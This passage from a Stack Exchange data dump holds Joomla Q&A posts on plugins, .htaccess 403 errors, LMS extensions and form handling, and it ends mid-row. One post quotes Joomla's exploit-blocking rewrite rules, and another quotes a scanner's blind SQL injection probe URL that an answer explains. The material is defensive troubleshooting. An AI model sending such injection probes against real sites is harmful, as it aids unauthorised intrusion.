  <row Id="16456" PostTypeId="2" ParentId="16434" CreationDate="2016-05-03T21:21:54.217" Score="0" Body="&lt;p&gt;To answer how to restore the original Joomla ACL user permissions, try the ACL Manager extension.  You can open each level and hit the RESET button to revert back to original: &lt;a href=&quot;https://www.aclmanager.net/&quot; rel=&quot;nofollow&quot;&gt;https://www.aclmanager.net/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2016-05-03T21:21:54.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16457" PostTypeId="2" ParentId="16435" CreationDate="2016-05-03T21:51:54.483" Score="2" Body="&lt;p&gt;You need a K2 plugin if you are not yet using K2 V3, otherwise a regular Joomla plugin, if I remember correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basic sceleton for what you need would be something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die ('Restricted access');&#xA;&#xA;JLoader::register('K2Plugin', JPATH_ADMINISTRATOR . '/components/com_k2/lib/k2plugin.php');&#xA;JLoader::register('K2HelperUtilities', JPATH_COMPONENT . '/helpers/utilities.php');&#xA;JLoader::register('K2ModelItemlist', JPATH_COMPONENT . '/models/itemlist.php');&#xA;JTable::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR . '/tables');&#xA;&#xA;class plgK2Myplugin extends K2Plugin {&#xA;&#xA;   //params needed for K2&#xA;   public $pluginName = 'myplugin';&#xA;   public $pluginNameHumanReadable = 'My plugin';&#xA;&#xA;   public function __construct(&amp;amp;$subject, $params) {&#xA;      parent::__construct($subject, $params);&#xA;   }&#xA;&#xA;   public function onAfterK2Save(&amp;amp;$item, $isNew) &#xA;   {&#xA;       // this is where your logic goes&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can edit the $item variable and change the image variable to what you want&lt;/p&gt;&#xA;" OwnerUserId="50" LastEditorUserId="50" LastEditDate="2016-05-04T06:35:22.683" LastActivityDate="2016-05-04T06:35:22.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16458" PostTypeId="2" ParentId="16455" CreationDate="2016-05-03T21:53:42.947" Score="1" Body="&lt;p&gt;It seems to me like you have edited some core files and introduced a syntax error. Download files from the same Joomla version you are using and overwrite the current ones.&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2016-05-03T21:53:42.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16460" PostTypeId="1" AcceptedAnswerId="18887" CreationDate="2016-05-04T10:28:00.520" Score="0" ViewCount="7839" Body="&lt;p&gt;I am trying to open html and php pages directly, but it shows :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    403&#xA;    Forbidden&#xA;    Access to this resource on the server is denied!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I try &lt;code&gt;www.mysite.com/dir/&lt;/code&gt; index page shows up, error happened when I want to open page directly as &lt;code&gt;www.mysite.com/dir/index.html&lt;/code&gt; or &lt;code&gt;www.mysite.com/dir/subdir/index.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I can fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--------------------- Update ---------------------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTAccess :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;##&#xA;    # @package      Joomla&#xA;    # @copyright    Copyright (C) 2005 - 2013 Open Source Matters. All rights reserved.&#xA;    # @license      GNU General Public License version 2 or later; see LICENSE.txt&#xA;    ##&#xA;&#xA;    ##&#xA;    # READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE!&#xA;    #&#xA;    # The line just below this section: 'Options +FollowSymLinks' may cause problems&#xA;    # with some server configurations.  It is required for use of mod_rewrite, but may already&#xA;    # be set by your server administrator in a way that dissallows changing it in&#xA;    # your .htaccess file.  If using it causes your server to error out, comment it out (add # to&#xA;    # beginning of line), reload your site in your browser and test your sef url's.  If they work,&#xA;    # it has been set by your server administrator and you do not need it set here.&#xA;    ##&#xA;&#xA;    ## Can be commented out if causes errors, see notes above.&#xA;    Options +FollowSymLinks&#xA;&#xA;    ## Mod_rewrite in use.&#xA;&#xA;    RewriteEngine On&#xA;&#xA;    ## Begin - Rewrite rules to block out some common exploits.&#xA;    # If you experience problems on your site block out the operations listed below&#xA;    # This attempts to block the most common type of exploit `attempts` to Joomla!&#xA;    #&#xA;    # Block out any script trying to base64_encode data within the URL.&#xA;    RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]&#xA;    # Block out any script that includes a &amp;lt;script&amp;gt; tag in URL.&#xA;    RewriteCond %{QUERY_STRING} (&amp;lt;|%3C)([^s]*s)+cript.*(&amp;gt;|%3E) [NC,OR]&#xA;    # Block out any script trying to set a PHP GLOBALS variable via URL.&#xA;    RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]&#xA;    # Block out any script trying to modify a _REQUEST variable via URL.&#xA;    RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;    # Return 403 Forbidden header and show the content of the root homepage&#xA;    RewriteRule .* index.php [F]&#xA;    #&#xA;    ## End - Rewrite rules to block out some common exploits.&#xA;&#xA;    ## Begin - Custom redirects&#xA;    #&#xA;    # If you need to redirect some pages, or set a canonical non-www to&#xA;    # www redirect (or vice versa), place that code here. Ensure those&#xA;    # redirects use the correct RewriteRule syntax and the [R=301,L] flags.&#xA;    #&#xA;    #attack&#xA;&#xA;    RewriteCond %{HTTP_USER_AGENT} libwww [NC,OR]&#xA;&#xA;    RewriteCond %{QUERY_STRING} ^(.*)=http [NC]&#xA;&#xA;    RewriteRule ^(.*)$  [F,L]&#xA;    #end attack&#xA;&#xA;    RewriteCond %{HTTP_HOST} !^www\. [NC]&#xA;    RewriteRule ^(.*)$ http://www.%{HTTP_HOST}%{REQUEST_URI} [R=301,L]&#xA;&#xA;    #index.php to root&#xA;    RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /([^/]+/)*index\.(html?|php)\ HTTP/&#xA;    RewriteCond %{REQUEST_URI} !^/administrator/&#xA;    RewriteRule (([^/]+/)*)index\.(html?|php)$ http://www.nozadam.com/$1 [R=301,L]&#xA;&#xA;    ## End - Custom redirects&#xA;&#xA;    ##&#xA;    # Uncomment following line if your webserver's URL&#xA;    # is not directly related to physical file paths.&#xA;    # Update Your Joomla! Directory (just / for root).&#xA;    ##&#xA;&#xA;    # RewriteBase /&#xA;&#xA;    ## Begin - Joomla! core SEF Section.&#xA;    #&#xA;    RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;    #&#xA;    # If the requested path and file is not /index.php and the request&#xA;    # has not already been internally rewritten to the index.php script&#xA;    RewriteCond %{REQUEST_URI} !^/index\.php&#xA;    # and the request is for something within the component folder,&#xA;    # or for the site root, or for an extensionless URL, or the&#xA;    # requested URL ends with one of the listed extensions&#xA;    RewriteCond %{REQUEST_URI} /component/|(/[^.]*|\.(php|html?|feed|pdf|vcf|raw))$ [NC]&#xA;    # and the requested path and file doesn't directly match a physical file&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    # and the requested path and file doesn't directly match a physical folder&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    # internally rewrite the request to the index.php script&#xA;    RewriteRule .* index.php [L]&#xA;    #&#xA;    ## End - Joomla! core SEF Section.&#xA;&#xA;    ExpiresActive On&#xA;    ExpiresByType image/jpg &quot;access 1 year&quot;&#xA;    ExpiresByType image/jpeg &quot;access 1 year&quot;&#xA;    ExpiresByType image/gif &quot;access 1 year&quot;&#xA;    ExpiresByType image/png &quot;access 1 year&quot;&#xA;    ExpiresByType text/css &quot;access 1 month&quot;&#xA;    ExpiresByType application/pdf &quot;access 1 month&quot;&#xA;    ExpiresByType text/x-javascript &quot;access 1 month&quot;&#xA;    ExpiresByType application/x-shockwave-flash &quot;access 1 month&quot;&#xA;    ExpiresByType image/x-icon &quot;access 1 year&quot;&#xA;    ExpiresDefault &quot;access 20 days&quot;&#xA;&#xA;    RewriteCond %{HTTP_HOST} ^sitename\.ir$ [OR]&#xA;    RewriteCond %{HTTP_HOST} ^www\.sitename\.ir$&#xA;    RewriteRule ^/?$ &quot;http\:\/\/www\.sitename\.com&quot; [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I try :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /&#xA;RewriteRule ^notif/send_message\.php$ - [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But not worked&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but direct access from browser shows result&lt;/p&gt;&#xA;&#xA;&lt;p&gt;problem is when i try to send some parameters with 'GET' from 'PHP' File to Another file !&lt;/p&gt;&#xA;" OwnerUserId="8354" LastEditorUserId="8354" LastEditDate="2018-12-08T15:14:56.187" LastActivityDate="2018-12-08T15:14:56.187" Title="403 Forbidden Access, when accessing custom html/php files directly" Tags="|php|security|.htaccess-configuration|server|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="16461" PostTypeId="2" ParentId="16460" CreationDate="2016-05-04T13:21:25.863" Score="0" Body="&lt;p&gt;Directly access to files, is probably prohibited by your htaccess file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try adding something like this, in htaccess and see if that resolves it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteRule ^dir\/index\.php$ - [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-05-23T07:43:22.550" LastActivityDate="2016-05-23T07:43:22.550" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16462" PostTypeId="1" CreationDate="2016-05-04T13:42:56.153" Score="0" ViewCount="1075" Body="&lt;p&gt;I got a view in my component's frontend, which catches data from model using the ID of the element:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function populateState($ordering = null, $direction =  null)&#xA;{&#xA;    $app        =   JFactory::getApplication();&#xA;    $id         =   $app-&amp;gt;input-&amp;gt;get('id', null, 'int');            &#xA;    $this-&amp;gt;setState('id', $id);&#xA;&#xA;    parent::populateState();        &#xA;}   &#xA;&#xA;/**&#xA; * getItem function.&#xA; * &#xA; * @access public&#xA; * @param mixed $pk (default: null)&#xA; * @return void&#xA; */&#xA;public function getItem($pk = null)&#xA;{&#xA;    $pk = (!empty($pk)) ? $pk : (int) $this-&amp;gt;getState('id');&#xA;    ...&#xA;    return $this-&amp;gt;_item[$pk];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Okay, this works fine, the model gets the data and the view is showing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I would like to create a form which saves the input of a user and attach it to the id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I created a form like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&quot;save&quot; class=&quot;form-validate&quot; action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_bestia'); ?&amp;gt;&quot; method=&quot;post&quot; &amp;gt;&#xA;&#xA;... &#xA;&amp;lt;button type=&quot;submit&quot; class=&quot;btn validate&quot;&amp;gt;&amp;lt;?php echo JText::_('COM_BESTIA_SUBMIT', true); ?&amp;gt;&#xA;&amp;lt;?php echo JHtml::_( 'form.token' ); ?&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;item.save&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also created a hidden-field to add the id to the post-data&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field  name        =       &quot;id&quot; &#xA;        type        =       &quot;hidden&quot; /&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But in my controller I can not access the id like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($key = NULL, $urlVar = NULL)&#xA;{&#xA;    JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));&#xA;        $jinput         =       JFactory::getApplication()-&amp;gt;input;&#xA;        $data           =       $jinput-&amp;gt;get('jform', array(), 'post', 'array');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I submit the id to my controller?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2016-05-04T13:42:56.153" Title="Model/Controller: get id of current item and use it in controller" Tags="|jform|jinput|model|controller|jmodel|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="16465" PostTypeId="1" AcceptedAnswerId="16467" CreationDate="2016-05-04T16:23:45.227" Score="3" ViewCount="449" Body="&lt;p&gt;I'm creating a website on the Joomla! 3.5 platform (This is so I can tie in directly to another Joomla! site user database.) that is a simple 5-section training course used to train a company's internal sales reps--probably 8 pages total. The issue is that I need to verify each video within the 5 sections has been watched and a certain number of questions at the end of each section has been completed. Upon completion of the test with 80% correct answers, a certificate will be mailed to the user's address given.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found several LMS (Learning Management System) solutions online including:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.joomlalms.com/&quot; rel=&quot;nofollow&quot;&gt;Joomla LMS&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://joomla.profinvent.com/index.php?option=com_profishop&amp;amp;view=products&amp;amp;id=2&amp;amp;categoryid=2&amp;amp;Itemid=103&quot; rel=&quot;nofollow&quot;&gt;Course Manager&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://guru.ijoomla.com/&quot; rel=&quot;nofollow&quot;&gt;Guru&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://sman.osg-gmbh.de/en&quot; rel=&quot;nofollow&quot;&gt;OSG Seminar Manager&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.king-products.net/kingproducts&quot; rel=&quot;nofollow&quot;&gt;LMS King&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However, all of these seem overly complicated for a single FREE course which is fully protected by login. Is there an LMS solution that would work, or should I be looking in a different direction?&lt;/p&gt;&#xA;" OwnerUserId="5638" LastEditorUserId="5638" LastEditDate="2016-05-06T19:39:28.043" LastActivityDate="2016-07-02T21:16:32.400" Title="How to Create a Joomla!-based Online Course" Tags="|joomla-3.x|component|user|joomla-3.5|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16466" PostTypeId="2" ParentId="16465" CreationDate="2016-05-04T17:37:57.487" Score="2" Body="&lt;p&gt;After further searching, I have found that the &lt;a href=&quot;https://www.joomplace.com/elearning-extensions/joomla-quiz-deluxe.html&quot; rel=&quot;nofollow&quot;&gt;Joomla! Quiz Deluxe Component&lt;/a&gt; will meet all of my needs, and even generates a certificate of completion automatically!&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-05-04T17:37:57.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16467" PostTypeId="2" ParentId="16465" CreationDate="2016-05-04T17:46:48.107" Score="2" Body="&lt;p&gt;I have worked on a rather similar project, where there is a training program for subscribed users, controlling the access with a memberships component. The learning material is organized using Zoo CCK, containing both text and a video tutorial for each lesson. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have next, previous buttons at the bottom of each lesson page, and at the end of each learning section, we have a quiz to test/verify user's learning /progress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the quizzes we are using a component called &lt;strong&gt;&lt;a href=&quot;https://www.joomplace.com/elearning-extensions/joomla-quiz-deluxe.html&quot; rel=&quot;nofollow&quot;&gt;Joomla Quiz Deluxe by Joomplace&lt;/a&gt;&lt;/strong&gt;, which is quiet flexible. It allows creation of unlimited custom quizzes, with a passing score and it can also print a certificate of success.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-05-04T17:46:48.107" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16468" PostTypeId="1" AcceptedAnswerId="16469" CreationDate="2016-05-05T13:34:38.307" Score="0" ViewCount="314" Body="&lt;p&gt;Currently, my logo is displayed as so in my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;sp-logo&quot; class=&quot;span4&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;logo-wrapper&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;/&quot;&amp;gt;&#xA;      &amp;lt;div style=&quot;width:300px; height:75px;&quot; class=&quot;logo&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where the logo is rather set as a background image for the div &lt;code&gt;#logo&lt;/code&gt;. I need to change logo component code as such the logo would be displayed as an image (e.g.):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;sp-logo&quot; class=&quot;span4&quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;logo-wrapper&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;/&quot;&amp;gt;&#xA;      &amp;lt;img src=&quot;http://imageurl/image.png&quot; /&amp;gt;&#xA;    &amp;lt;/a&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I couldn't find such file in the template files, nor at Module manager.&#xA;So where does Joomla hide such component files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: Joomla version 2.51, template using Helix II&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="8370" LastEditorUserId="126" LastEditDate="2016-05-05T14:10:19.660" LastActivityDate="2016-05-05T14:10:19.660" Title="How to use custom logo markup with Helix framework templates?" Tags="|joomla-2.5|templates|overrides|template-override|helix3|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16469" PostTypeId="2" ParentId="16468" CreationDate="2016-05-05T13:57:08.297" Score="2" Body="&lt;p&gt;First of all update at least to Joomla 2.5.28 and apply the required patches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info here: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.joomla.org/announcements/release-news/5643-joomla-3-4-7.html&quot; rel=&quot;nofollow&quot;&gt;https://www.joomla.org/announcements/release-news/5643-joomla-3-4-7.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As for what you want to do, simply disable the logo feature from the template settings, and instead create a Custom HTML module containing your logo image only - name it Logo for your convenience, remember to set module's title to Hide and place it on the Logo position of your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to go further with it, you can read on the &lt;a href=&quot;https://www.joomshaper.com/documentation/helix-v2/subcategories&quot; rel=&quot;nofollow&quot;&gt;Helix documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-05-05T14:07:59.397" LastActivityDate="2016-05-05T14:07:59.397" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16471" PostTypeId="1" CreationDate="2016-05-06T03:18:07.780" Score="0" ViewCount="453" Body="&lt;p&gt;Local dev environment Win10/XAMPP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a number of local websites in my htdocs folder (eg. MyTestSite) that I access by visiting &lt;code&gt;localhost/MyTestSite&lt;/code&gt; these work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So today I restored a (Joomla 2.5.6) site from a live environment to my local pc (htdocs/3i). I visited &lt;code&gt;localhost/3i&lt;/code&gt; expecting to see my new website, but instead the address bar immediately changed to &lt;code&gt;http://www.localhost/xampp/&lt;/code&gt; which took me to my Welcome to XAMPP for Windows! page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if I type &lt;code&gt;www.localhost/3i&lt;/code&gt; I can see my homepage, but none of the other links work, they take me straight back to &lt;code&gt;www.localhost/xampp/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assumed this had something to do with my .htaccess file (which is below) however I can't see anything that may be causing this, although I'm no htaccess expert!&lt;/p&gt;&#xA;" OwnerUserId="8374" LastEditorUserId="126" LastEditDate="2016-05-06T12:13:44.477" LastActivityDate="2016-05-08T13:35:44.837" Title=".htaccess and localhost issue" Tags="|joomla-2.5|sef|.htaccess-configuration|redirect|localhost|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16472" PostTypeId="1" CreationDate="2016-05-06T05:05:52.090" Score="0" ViewCount="249" Body="&lt;p&gt;My server is running Sitelock Pro which has identified a high priority security vulnerability. I am using Joomla 3.5.1. They have reported the following as a potential CGI Generic SQL Injection Issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the GET HTTP method, SiteLock found that :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;+ The following resources may be vulnerable to blind SQL injection :&#xA;+ The 'view' parameter of the /index.php CGI :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/index.php?password=&amp;amp;username=&amp;amp;task=user.login&amp;amp;return=aHR0cDovL2Fnc2hvd3&#xA;Nuc3cub3JnLmF1Lw%3d%3d&amp;amp;remember=yes&amp;amp;846aab23bf47149946862bda9334e253=1&amp;amp;a&#xA;3eed60704e56fd53c721c36000f958c=1&amp;amp;format=json&amp;amp;option=com_ajax&amp;amp;view=remin&#xA;d)+or+(1=1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-------- output --------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTTP/1.1 200 OK&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-------- vs --------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTTP/1.1 406 Not Acceptable&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;/code&gt;&#xA;Any idea on what is causing this and how to fix it?&lt;/p&gt;&#xA;" OwnerUserId="3634" LastActivityDate="2016-09-04T10:39:19.047" Title="Sitelock Found High Priority Security Issue Joomla 3.5.1" Tags="|joomla-3.x|security|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16473" PostTypeId="2" ParentId="16471" CreationDate="2016-05-06T07:52:46.383" Score="1" Body="&lt;p&gt;An .htaccess file from a live environment may contain many directives that cannot work in another environment, especially a localhost environment.&lt;/p&gt;&#xA;&lt;p&gt;In your case, I would guess to look for the&#xA;&lt;code&gt;# RewriteBase /&lt;/code&gt;, that according to your root directory &lt;code&gt;localhost/3i&lt;/code&gt;, it should be:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;# RewriteBase /3i&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;update:&lt;/h3&gt;&#xA;&lt;p&gt;Actually, it needs to be uncommented like:  &lt;strong&gt;&lt;code&gt;RewriteBase /3i&lt;/code&gt;&lt;/strong&gt;, with no &lt;strong&gt;&lt;code&gt;#&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Also I don't have experience with XAMPP for Windows, but it sounds a bit strange to me that you can reach your &lt;code&gt;localhost&lt;/code&gt; using the &lt;code&gt;www&lt;/code&gt; domain.&#xA;Review this particular .htaccess to see if there are any redirections of &lt;code&gt;non www&lt;/code&gt; to &lt;code&gt;www&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Check in htaccess for something like below, and comment it out:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP_HOST} !^www\. [NC]&#xA;RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Generally, if you can't make things work:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Disable &lt;strong&gt;SEF&lt;/strong&gt; and &lt;strong&gt;Rewrite&lt;/strong&gt; settings in &lt;strong&gt;Joomla Global Configuration&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Totally &lt;strong&gt;remove&lt;/strong&gt; (or backup) current &lt;strong&gt;.htaccess&lt;/strong&gt;, and simply use Joomla's default one - if this is needed in your current local setup.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="126" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-05-08T13:35:44.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16474" PostTypeId="2" ParentId="16472" CreationDate="2016-05-06T09:02:40.103" Score="0" Body="&lt;p&gt;I don't think there's an issue there. The request is routed to com_ajax which will always return HTTP 200 when valid format is specified (as it is in this request). But it won't do anything, there's no module or plugin in the request to be called, so com_ajax will just return an empty result set, &lt;code&gt;$results&lt;/code&gt; is null here, nothing was processed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;case 'json' :&#xA;        echo new JResponseJson($results, null, false, $input-&amp;gt;get('ignoreMessages', true, 'bool'));&#xA;&#xA;        break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="50" LastActivityDate="2016-05-06T09:02:40.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16477" PostTypeId="1" CreationDate="2016-05-06T12:49:52.780" Score="1" ViewCount="1434" Body="&lt;p&gt;I'm trying to get my component ready for frontend-action. There are some forms that are filled by the user - but of course I have some fields that need specific values (&lt;code&gt;int&lt;/code&gt;, &lt;code&gt;float&lt;/code&gt;, ...) and some fields must not be empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve that I tried to build a form like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fields     name        =       &quot;user&quot;&amp;gt; &#xA;        &amp;lt;fieldset   name        =       &quot;personal&quot;&amp;gt;&#xA;            &amp;lt;field  name        =       &quot;gender&quot;&#xA;                    type        =       &quot;list&quot;&#xA;                    class       =       &quot;form-control&quot;&#xA;                    label       =       &quot;COM_BESTIA_FIELDS_GENDER_LABEL&quot;&#xA;                    description =       &quot;COM_BESTIA_FIELDS_GENDER_DESC&quot;&#xA;                    filter      =       &quot;safehtml&quot;&#xA;                    required    =       &quot;true&quot;&#xA;                    default     =       &quot;&quot;&amp;gt;&#xA;                        &amp;lt;option value   =   &quot;&quot;&amp;gt;COM_BESTIA_FIELDS_VALUES_GENDERUNKNOWN&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value   =   &quot;f&quot;&amp;gt;COM_BESTIA_FIELDS_VALUES_GENDERFEMALE&amp;lt;/option&amp;gt;&#xA;                        &amp;lt;option value   =   &quot;m&quot;&amp;gt;COM_BESTIA_FIELDS_VALUES_GENDERMALE&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/field&amp;gt;  &#xA;            &amp;lt;field  name        =       &quot;firstname&quot; &#xA;                    type        =       &quot;text&quot;  &#xA;                    class       =       &quot;inputbox form-control&quot;&#xA;                    size        =       &quot;40&quot; &#xA;                    label       =       &quot;COM_BESTIA_FIELDS_FIRSTNAME_LABEL&quot;&#xA;                    description =       &quot;COM_BESTIA_FIELDS_FIRSTNAME_DESC&quot; &#xA;                    required    =       &quot;true&quot; &#xA;                    filter      =       &quot;safehtml&quot; /&amp;gt;&#xA;            &amp;lt;field  name        =       &quot;dateofbirth&quot; &#xA;                    type        =       &quot;calendar&quot; &#xA;                    class       =       &quot;inputbox form-control&quot;&#xA;                    default     =       &quot;NOW - 18 years&quot; &#xA;                    label       =       &quot;COM_BESTIA_FIELDS_DATEOFBIRTH_LABEL&quot; &#xA;                    description =       &quot;COM_BESTIA_FIELDS_DATEOFBIRTH_DESC&quot; &#xA;                    required    =       &quot;true&quot;&#xA;                    format      =       &quot;%d.%m.%Y&quot; &#xA;                    filter      =       &quot;safehtml&quot; /&amp;gt;   &#xA;        &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;fieldset   name        =       &quot;contact&quot;&amp;gt;&#xA;            &amp;lt;field  name        =       &quot;city&quot; &#xA;                    type        =       &quot;text&quot; &#xA;                    class       =       &quot;inputbox form-control&quot;&#xA;                    size        =       &quot;40&quot; &#xA;                    label       =       